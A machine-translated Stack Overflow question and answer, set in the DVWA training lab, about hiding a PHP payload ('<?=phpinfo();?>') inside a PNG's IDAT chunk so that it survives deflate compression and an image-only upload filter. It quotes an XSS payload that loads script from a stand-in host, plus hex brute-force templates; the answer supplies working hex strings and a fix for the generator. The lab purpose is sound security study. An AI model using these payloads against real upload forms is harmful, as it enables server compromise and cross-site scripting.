PNG的IDAT Chunk上的PHP shell

时间:2018-03-07 05:31:40

标签: php perl zlib deflate

我正在研究关于文件上传高漏洞的DVWA。我想绕过过滤器,只允许上传像jpg或png这样的图像。所以我打算将有效负载<?=phpinfo();嵌入到图像文件中。在搜索之后,我发现了这些伟大的博客:

  1. An XSS on Facebook via PNGs & Wonky Content Types
  2. Encoding Web Shells in PNG IDAT chunks
  3. Revisiting XSS payloads in PNG IDAT chunks
  4. 我太懒于研究Deflate算法并搜索png shell生成器并找到了这个很棒的存储库:

    1. PNG Payload Generator with PERL
    2. 克隆并运行后,效果很好。但有效载荷适用于XSS Vuln output here

      <SCRIPT SRC=//ABC.DE></SCRIPT>
      

      我想完成DVWA的目标。它说

        

      由于此文件上传漏洞,在目标系统上执行您选择的任何PHP函数(例如phpinfo()或system())。

      因此,我想要的有效载荷是:<?=phpinfo();?>嵌入在PNG的IDAT块上,该有效载荷从IDAT上的过滤器和压缩中幸存下来。从存储库中,我找到了之前由f1n1te / idontplaydarts博客描述的bruteforce()逻辑。我复制源代码并尝试使用我的有效负载here进行强制缩减压缩但是对符号字符失败。基于源/生成器,我有2个问题:

      1. 为什么在the source上,暴力破坏符号“&lt;”和“?”,还有另一个ascii符号?但它适用于ascii“a-z”&amp; “A-Z”。
      2. 在3个博客&amp;我找到了1个存储库,这些存储库使用这个有效负载来暴力破坏:

        7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f - f1n1te f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f - 亚当 03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310 - idontplaydarts 0000f399281922111510691928276e6e5313241e1f576e69b16375535b6f0000 - 存储库

      3. 这些家伙如何将所有这些有效负载转移到暴力Deflate Compression

1 个答案:

答案 0 :(得分:1)

暴力破坏因为它太短了。你需要5个半字节,而不仅仅是4.我用箭头标记了额外的数字。

0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"
0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"
                                    ↑

该程序还包含一个错误,可以防止它完全耗尽搜索空间。 sprintf的格式说明符必须为零填充,否则hexdigit字符串太短;换句话说,在原始程序中,它必须是%04x,而不是%x